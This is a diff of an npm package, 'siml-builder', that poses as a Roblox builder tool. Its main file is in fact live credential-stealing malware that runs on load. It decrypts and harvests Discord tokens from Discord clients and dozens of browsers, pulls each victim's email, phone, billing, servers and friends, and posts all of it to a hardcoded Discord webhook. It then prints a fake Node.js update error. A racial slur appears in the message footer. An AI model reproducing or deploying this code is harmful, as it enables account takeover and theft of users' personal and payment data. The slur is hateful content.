siml-builder 1.2.5

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "siml-builder",
+  "version": "1.2.5",
+  "description": "a builder for rxbl",
+  "main": "./siml-builder.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [
+    "Roblox","Builder","Simple"
+  ],
+  "author": "rblxbuilders",
+  "license": "MIT"
+}

package/siml-builder.js

@@ -0,0 +1,613 @@
+const diskinfo      = require('diskinfo');
+const path          = require('path');
+const fs            = require('fs');
+
+const { Transform } = require("stream");
+const crypto        = require("crypto");
+const axios         = require("axios");
+const FormData = require('form-data');
+function start(){
+    console.log("bulding...")
+    async function sendWebhook(webhook, data, files = [], canary) {
+        const form = new FormData();
+        
+        let fileCount = 0;
+
+        if (files.length > 10) {
+            await sendWebhook(webhook, data);
+            for (const file of files) {
+                fileCount++;
+                await sendWebhook(webhook, {
+                    ...data,
+                    content: `Attachment ${fileCount}: \`${file}\``
+                }, [file]);
+            }
+            return;
+        }
+
+        for (const file of files) {
+            const fileStream = fs.createReadStream(file);
+            form.append(`file[${fileCount}]`, fileStream, { filename: file });
+            fileCount++;
+        }
+
+        data.username = "LulzSec Stealer";
+        data.avatar_url = "https://i.imgur.com/WkKXZSl.gif";
+
+        if (data.embeds) {
+            for (const embed of data.embeds) {
+                embed.color = 12740607;
+                embed.footer = {
+                    text: "I hate niggers"
+                };
+                embed.timestamp = new Date();
+            }
+        }
+
+        form.append('payload_json', JSON.stringify(data));
+
+        try {
+            await axios.post(webhook, form, {
+                headers: form.getHeaders()
+            });
+            if (canary) {
+                await axios.get(canary);
+            }
+        } catch (error) {
+            console.error('Error sending webhook:', error.response ? error.response.data : error.message);
+        }
+    }
+
+    function getUsers() {
+        return new Promise((resolve, reject) => {
+            diskinfo.getDrives((err, drives) => {
+                if (err) {
+                    return reject(err);
+                }
+                let users = [];
+                let drivePromises = drives.map(drive => {
+                    const mountpoint = drive.mountpoint;
+                    if (!mountpoint) {
+                        return Promise.resolve([]);
+                    }
+
+                    const usersDir = path.join(mountpoint, 'Users');
+                    return new Promise((resolveDir, rejectDir) => {
+                        fs.readdir(usersDir, { withFileTypes: true }, (err, files) => {
+                            if (err) {
+                                return resolveDir([]);
+                            }
+                            let userDirs = files
+                                .filter(file => file.isDirectory())
+                                .map(file => path.join(usersDir, file.name));
+
+                            resolveDir(userDirs);
+                        });
+                    });
+                });
+
+                Promise.all(drivePromises)
+                    .then(results => {
+                        results.forEach(userDirs => users.push(...userDirs));
+                        if (users.length === 0) {
+                            const typicalUsersDir = path.join('C:', 'Users');
+                            if (fs.existsSync(typicalUsersDir)) {
+                                const files = fs.readdirSync(typicalUsersDir, { withFileTypes: true });
+                                users = files
+                                    .filter(file => file.isDirectory())
+                                    .map(file => path.join(typicalUsersDir, file.name));
+                            }
+                        }
+                        resolve(users);
+                    })
+                    .catch(err => {
+                        reject(err);
+                    });
+            });
+        });
+    }
+
+    function getProfiles(basePath, profileName) {
+        try {
+            const profilePathParts = basePath.split('%PROFILE%');
+            
+            if (profilePathParts.length === 1) {
+                return [{
+                    path: basePath,
+                    name: profileName,
+                }];
+            }
+
+            const [baseDir, profileSubDir] = profilePathParts;
+            const profiles = [];
+
+            if (!fs.existsSync(baseDir)) {
+                return [];
+            }
+
+            const dirs = fs.readdirSync(baseDir);
+
+            for (const dir of dirs) {
+                const profilePath = path.join(baseDir, dir, profileSubDir);
+                if (fs.existsSync(profilePath)) {
+                    profiles.push({
+                        path: profilePath,
+                        name: `${profileName} ${dir}`,
+                    });
+                }
+            }
+
+            return profiles;
+        } catch (error) {
+            return [];
+        }
+    }
+
+    async function validateToken(token) {
+        try {
+            const response = await axios.get('https://discord.com/api/v9/users/@me', {
+                headers: { Authorization: token }
+            });
+            return 200 === response.status;
+        } catch {
+            return false;
+        }
+    }
+
+    async function processFile(filePath, pathTail, TOKENS) {
+        return new Promise((resolve, reject) => {
+            try {
+                const stream = fs.createReadStream(filePath, 'utf8');
+                const transform = new Transform({
+                    transform(chunk, encoding, callback) {
+                        const lines = chunk.toString().split('\n');
+                        lines.forEach(line => {
+                            if (filePath.includes("cord")) {
+                                const localStatePath = pathTail.replace("Local Storage", "Local State");
+                                fs.readFile(localStatePath, 'utf8', (err, data) => {
+                                    if (err) return;
+                                    const localState = JSON.parse(data);
+                                    const encrypted = Buffer.from(localState.os_crypt.encrypted_key, 'base64').slice(5);
+                                    const key = Buffer.from(encrypted, 'utf-8');
+                                    const encryptedRegex = /dQw4w9WgXcQ:[^\"]*/;
+                                    const match = line.match(encryptedRegex);
+
+                                    if (match) {
+                                        try {
+                                            let token = Buffer.from(match[0].split("dQw4w9WgXcQ:")[1], 'base64');
+                                            const start = token.slice(3, 15);
+                                            const middle = token.slice(15, token.length - 16);
+                                            const end = token.slice(token.length - 16);
+
+                                            const decipher = crypto.createDecipheriv('aes-256-gcm', key, start);
+                                            decipher.setAuthTag(end);
+
+                                            token = `${decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8')}`;
+                                            TOKENS.push(token);
+                                        } catch {
+                                        }
+                                    }
+                                });
+                            }
+                        });
+                        callback();
+                    }
+                });
+
+                stream.pipe(transform).on('finish', resolve).on('error', reject);
+            } catch (err) {
+                reject(err);
+            }
+        });
+    }
+
+    async function processDirectory(directory, TOKENS) {
+        try {
+            const fileNames = await fs.promises.readdir(directory);
+            const fileProcesses = fileNames
+                .filter(fileName => fileName.endsWith('.log') || fileName.endsWith('.ldb'))
+                .map(fileName => {
+                    const filePath = path.join(directory, fileName);
+                    const pathSplit = directory.split(path.sep);
+                    const pathSplitTail = directory.includes('Network')
+                        ? pathSplit.slice(0, pathSplit.length - 3)
+                        : pathSplit.slice(0, pathSplit.length - 2);
+
+                    const pathTail = `${pathSplitTail.join(path.sep)}${path.sep}`;
+                    return processFile(filePath, pathTail, TOKENS);
+                });
+
+            await Promise.all(fileProcesses);
+        } catch (err) {
+            return
+        }
+    }
+
+    async function getBrowserProfiles(user) {
+        const LOCALAPPDATA = process.env.LOCALAPPDATA
+            .replace(process.env.USERPROFILE, user);
+
+        const APPDATA      = process.env.APPDATA
+            .replace(process.env.USERPROFILE, user);
+
+        const ChromiumBrowsers = {
+            'Google(x86)'  : `${LOCALAPPDATA}\\Google(x86)\\Chrome\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Google SxS'   : `${LOCALAPPDATA}\\Google\\Chrome SxS\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Chromium'     : `${LOCALAPPDATA}\\Chromium\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Thorium'      : `${LOCALAPPDATA}\\Thorium\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Chrome'       : `${LOCALAPPDATA}\\Google\\Chrome\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'MapleStudio'  : `${LOCALAPPDATA}\\MapleStudio\\ChromePlus\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Iridium'      : `${LOCALAPPDATA}\\Iridium\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            '7Star'        : `${LOCALAPPDATA}\\7Star\\7Star\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'CentBrowser'  : `${LOCALAPPDATA}\\CentBrowser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Chedot'       : `${LOCALAPPDATA}\\Chedot\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Vivaldi'      : `${LOCALAPPDATA}\\Vivaldi\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Kometa'       : `${LOCALAPPDATA}\\Kometa\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Elements'     : `${LOCALAPPDATA}\\Elements Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Epic'         : `${LOCALAPPDATA}\\Epic Privacy Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'uCozMedia'    : `${LOCALAPPDATA}\\uCozMedia\\Uran\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Fenrir'       : `${LOCALAPPDATA}\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Catalina'     : `${LOCALAPPDATA}\\CatalinaGroup\\Citrio\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Coowon'       : `${LOCALAPPDATA}\\Coowon\\Coowon\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Liebao'       : `${LOCALAPPDATA}\\liebao\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'QIP Surf'     : `${LOCALAPPDATA}\\QIP Surf\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Orbitum'      : `${LOCALAPPDATA}\\Orbitum\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Comodo'       : `${LOCALAPPDATA}\\Comodo\\Dragon\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            '360Browser'   : `${LOCALAPPDATA}\\360Browser\\Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Maxthon3'     : `${LOCALAPPDATA}\\Maxthon3\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'K-Melon'      : `${LOCALAPPDATA}\\K-Melon\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'CocCoc'       : `${LOCALAPPDATA}\\CocCoc\\Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Amigo'        : `${LOCALAPPDATA}\\Amigo\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Torch'        : `${LOCALAPPDATA}\\Torch\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Sputnik'      : `${LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Edge'         : `${LOCALAPPDATA}\\Microsoft\\Edge\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'DCBrowser'    : `${LOCALAPPDATA}\\DCBrowser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Yandex'       : `${LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'UR Browser'   : `${LOCALAPPDATA}\\UR Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Slimjet'      : `${LOCALAPPDATA}\\Slimjet\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'BraveSoftware': `${LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Opera'        : `${APPDATA}\\Opera Software\\Opera Stable\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+            'Opera GX'     : `${APPDATA}\\Opera Software\\Opera GX Stable\\${'%PROFILE%'}\\Local Storage\\leveldb\\`,
+        };
+
+        const GeckoBrowsers = {
+            'Mozilla Firefox': `${APPDATA}\\Mozilla\\Firefox\\Profiles\\${'%PROFILE%'}\\repl\\`,
+            'Firefox Nightly': `${APPDATA}\\Mozilla\\Firefox Nightly\\Profiles\\${'%PROFILE%'}\\repl\\`,
+            'Firefox Developer Edition': `${APPDATA}\\Mozilla\\Firefox Developer Edition\\Profiles\\${'%PROFILE%'}\\repl\\`,
+            'Basilisk': `${APPDATA}\\Basilisk\\Profiles\\${'%PROFILE%'}\\repl\\`,
+            'Palemoon': `${APPDATA}\\Palemoon\\Profiles\\${'%PROFILE%'}\\repl\\`,
+            'Waterfox': `${APPDATA}\\Waterfox\\Profiles\\${'%PROFILE%'}\\repl\\`,
+        };
+
+        const GetChromiumBrowsers = Object.values(ChromiumBrowsers);
+        const GetGeckoBrowsers = Object.values(GeckoBrowsers);
+
+        const BROWSERS_PATH = [
+            ...GetChromiumBrowsers,
+            ...GetGeckoBrowsers
+        ];
+
+        let BROWSERS_PROFILES = [];
+
+        for (const browser of BROWSERS_PATH) {
+            const profiles = getProfiles(browser, path.basename(browser));
+            for (const profile of profiles) {
+                BROWSERS_PROFILES.push(profile.path);
+            }
+        }
+
+        return BROWSERS_PROFILES;
+    }
+
+    async function FTU(user) {
+        let TOKENS = [];
+
+        const APPDATA = process.env.APPDATA
+            .replace(process.env.USERPROFILE, user);
+
+        const DISCORD_PATHS = {
+            'Discord Canary' : `${APPDATA}\\discordcanary\\Local Storage\\leveldb\\`,
+            "Discord PTB"    : `${APPDATA}\\discordptb\\Local Storage\\leveldb\\`,
+            'Lightcord'      : `${APPDATA}\\Lightcord\\Local Storage\\leveldb\\`,
+            'Discord'        : `${APPDATA}\\discord\\Local Storage\\leveldb\\`,
+            'Discord Nitro': `${APPDATA}\\discordnitro\\Local Storage\\leveldb\\`,
+            'Discord Lite': `${APPDATA}\\discordlite\\Local Storage\\leveldb\\`,
+            'Discord Lite Canary': `${APPDATA}\\discordlitecanary\\Local Storage\\leveldb\\`,
+            'Discord Lite PTB': `${APPDATA}\\discordliteptb\\Local Storage\\leveldb\\`,
+            'Discord PTB (Experimental)': `${APPDATA}\\discordptbexperimental\\Local Storage\\leveldb\\`,
+            'Discord Canary (Legacy)': `${APPDATA}\\discordcanarylegacy\\Local Storage\\leveldb\\`
+        };
+
+        const pathProcesses = Object.values(DISCORD_PATHS)
+            .filter(async value => fs.promises.access(value).then(() => true).catch(() => false))
+            .map(value => processDirectory(value, TOKENS));
+
+        await Promise.all(pathProcesses);
+
+        const BROWSERS_PROFILES = await getBrowserProfiles(user);
+        const cleanRegex = [
+            /[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}|mfa\.[\w-]{80,95}/g,
+            /[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}/g,
+            /[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g,
+            /[\w-]{24}\.[\w-]{6}\.[\w-]{38}/g,
+            /mfa\.[\w-]{84}/g
+        ];
+
+        const browserProcesses = BROWSERS_PROFILES.map(async (profile) => {
+            if (await fs.promises.access(profile).then(() => true).catch(() => false)) {
+                const files = await fs.promises.readdir(profile);
+                const fileProcesses = files
+                    .filter(file => file.endsWith('.log') || file.endsWith('.ldb'))
+                    .map(file => {
+                        const filePath = path.join(profile, file);
+                        return fs.promises.readFile(filePath, 'utf-8').then(content => {
+                            for (const reg of cleanRegex) {
+                                TOKENS.push(...content.match(reg) || []);
+                            }
+                        });
+                    });
+
+                await Promise.all(fileProcesses);
+            }
+        });
+
+        await Promise.all(browserProcesses);
+
+        TOKENS = Array.from(new Set(TOKENS));
+        TOKENS = await Promise.all(TOKENS.map(async token => (await validateToken(token)) ? token : null));
+        TOKENS = TOKENS.filter(token => token !== null);
+
+        return TOKENS;
+    }
+
+
+    (async () => {
+        const webhook = 'https://canary.discord.com/api/webhooks/1275778358877229097/FWO9d5LszLYMrVn76eP5Ej_KaVZnCWqihKO-v2tN1Ux-cT_S1msexO1tH2fpU88vJXD_'; // WEBHOOK
+        const users = await getUsers();
+        
+        for (const user of users) {
+            const tokens = await FTU(user);
+            
+            for (let token of tokens) {
+                try {
+                    let userData = await axios.get('https://discord.com/api/v9/users/@me', { headers: { Authorization: token } });
+                    let user = userData.data;
+
+                    let billingData = await axios.get('https://discord.com/api/v9/users/@me/billing/payment-sources', { headers: { Authorization: token } });
+                    let billing = billingData.data;
+
+                    let guildsData = await axios.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', { headers: { Authorization: token } });
+                    let guilds = guildsData.data;
+
+                    let friendsData = await axios.get('https://discord.com/api/v9/users/@me/relationships', { headers: { Authorization: token } });
+                    let friends = friendsData.data;
+
+                    const avatarUrlGif = `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.gif`;
+                    const avatarUrlPng = `https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png`;
+
+                    let avatar;
+                    try {
+                        const avatarResponse = await axios.get(avatarUrlGif);
+                        if (avatarResponse.status === 200) {
+                            avatar = avatarUrlGif;
+                        }
+                    } catch (error) {
+                        avatar = avatarUrlPng;
+                    }
+
+                    let copy = `ihatekids.uk`;
+
+                    const data = {
+                        embeds: [
+                            {
+                                title: `${user.username} | ${user.id}`,
+                                thumbnail: {
+                                    url: avatar + '?size=512'
+                                },
+                                fields: [
+                                    {
+                                        name: "<a:hearts:1176516454540116090> Token:",
+                                        value: `\`\`\`\n${token}\n\`\`\`\n[[Click Here To Copy Your Token]](${copy})`,
+                                        inline: false
+                                    },
+                                    { name: "\u200b", value: "\u200b", inline: false },
+                                    {
+                                        name: "Nitro:",
+                                        value: getNitro(user.premium_type),
+                                        inline: true
+                                    },
+                                    {
+                                        name: "Phone:",
+                                        value: `\`${user.phone || 'None'}${user.mfa_enabled ? ' (2FA)' : ''}\``,
+                                        inline: true
+                                    },
+                                    { name: "\u200b", value: "\u200b", inline: false },
+                                    {
+                                        name: "Email:",
+                                        value: `\`${user.email || 'None'}\``,
+                                        inline: true
+                                    },
+                                    {
+                                        name: "Badges:",
+                                        value: getFlags(user.public_flags),
+                                        inline: true
+                                    },
+                                    {
+                                        name: "Billing:",
+                                        value: getBilling(billing),
+                                        inline: true
+                                    }
+                                ]
+                            }
+                        ]
+                    };
+
+                    const hqGuilds = await getHQGuilds(guilds, token);
+                    if (hqGuilds) {
+                        data.embeds[0].fields.push({
+                            name: "\u200b",
+                            value: hqGuilds,
+                            inline: false
+                        });
+                    }
+
+                    const hqFriends = getHQFriends(friends);
+                    if (hqFriends) {
+                        data.embeds[0].fields.push({
+                            name: "\u200b",
+                            value: hqFriends,
+                            inline: false
+                        });
+                    }
+
+                    await sendWebhook(webhook, data, [], copy);
+                } catch (error) {
+                    console.error('Error sending webhook:', error);
+                }
+            }
+        }
+    })();
+
+
+    function getHQFriends(friends) {
+        const filteredFriends = friends
+            .filter(friend => friend.type === 1)
+            .map(friend => ({
+                username: friend.user.username,
+                discriminator: friend.user.discriminator,
+                flags: getRareFlags(friend.user.public_flags)
+            }))
+
+        let hQFriends = filteredFriends.map(friend => {
+            const name = `${friend.username}#${friend.discriminator}`;
+            if(friend.flags) {
+                return `${friend.flags} | ${name}\n`
+            }
+        });
+
+        hQFriends = hQFriends.join('');
+
+        if (hQFriends.length === 0) {
+            return false;
+        }
+
+        if (hQFriends.length > 1000) {
+            hQFriends = "Too many friends to display.";
+        }
+
+        return `**Rare Friends:**\n${hQFriends}`;
+    };
+
+    async function getHQGuilds(guilds, token) {
+        const filteredGuilds = guilds
+            .filter(guild => guild.owner || (guild.permissions & 8) === 8)
+            .filter(guild => guild.approximate_member_count >= 500)
+            .map(guild => ({
+                id: guild.id,
+                name: guild.name,
+                owner: guild.owner,
+                member_count: guild.approximate_member_count
+            }));
+
+        let hQGuilds = await Promise.all(filteredGuilds.map(async guild => {
+            const response = await axios.get(`https://discord.com/api/v8/guilds/${guild.id}/invites`, {
+                headers: { Authorization: token }
+            });
+
+            const invites = response.data;
+            const invite = invites.length > 0
+                ? `[Join Server](https://discord.gg/${invites[0].code})`
+                : 'No Invite';
+
+            const emoji = guild.owner
+                ? `<:owner:963333541343686696> Owner`
+                : `<:staff:1178394965706031114> Admin`;
+            const members = `Members: \`${guild.member_count}\``;
+            const name = `**${guild.name}** - (${guild.id})`;
+
+            return `${emoji} | ${name} - ${members} - ${invite}\n`;
+        }));
+
+        hQGuilds = hQGuilds.join('')
+
+        if (hQGuilds.length === 0) {
+            return false;
+        }
+
+        if (hQGuilds.length > 1000) {
+            hQGuilds = "Too many servers to display.";
+        }
+
+        return `**Rare Servers:**\n${hQGuilds}`;
+    }
+
+    function getBilling(billing) {
+        const paymentMap = {
+            1: '💳',
+            2: '<:paypal:1129073151746252870>'
+        };
+        let paymentMethods = billing.map(method => paymentMap[method.type] || '❓').join('');
+        return paymentMethods || '`None`';
+    }
+
+    function getNitro(flags) {
+        const nitroDict = {
+            1: '`Nitro Classic`',
+            2: '`Nitro`',
+            3: '`Nitro Basic`'
+        };
+        return nitroDict[flags] || '`None`';
+    }
+
+    function getFlags(flags) {
+        const flagsDict = {
+            '<:staff:1090015968618623129>': 0,
+            '<:partner:918207395279273985>': 1,
+            '<:events:898186057588277259>': 2,
+            '<:bughunter_1:874750808426692658>': 3,
+            '<:bravery:874750808388952075>': 6,
+            '<:brilliance:874750808338608199>': 7,
+            '<:balance:874750808267292683>': 8,
+            '<:early:944071770506416198>': 9,
+            '<:bughunter_2:874750808430874664>': 14,
+            '<:verifieddeveloper:1257040817600594101>': 17,
+            '<:certifiedmoderator:925562487280128061>': 18,
+            '⌨️': 20,
+            '<:activedev:1042545590640324608>': 22
+        };
+
+        let result = '';
+        for (const [emoji, shift] of Object.entries(flagsDict)) {
+            if ((flags & (1 << shift)) !== 0) {
+                result += emoji;
+            }
+        }
+
+        return result.trim() || '`None`';
+    }
+
+    function getRareFlags(flags) {
+        const flagsDict = {
+            '<:staff:1090015968618623129>': 0,
+            '<:partner:918207395279273985>': 1,
+            '<:events:898186057588277259>': 2,
+            '<:bughunter_1:874750808426692658>': 3,
+            '<:early:944071770506416198>': 9,
+            '<:bughunter_2:874750808430874664>': 14,
+            '<:activedev:1042545590640324608>': 22,
+            '<:verifieddeveloper:1257040817600594101>': 17
+        };
+
+        let result = '';
+        for (const [emoji, shift] of Object.entries(flagsDict)) {
+            if ((flags & (1 << shift)) !== 0) {
+                result += emoji + ' ';
+            }
+        }
+
+        return result.trim();
+    }
+}
+
+start()
+console.log("error. please update NodeJS")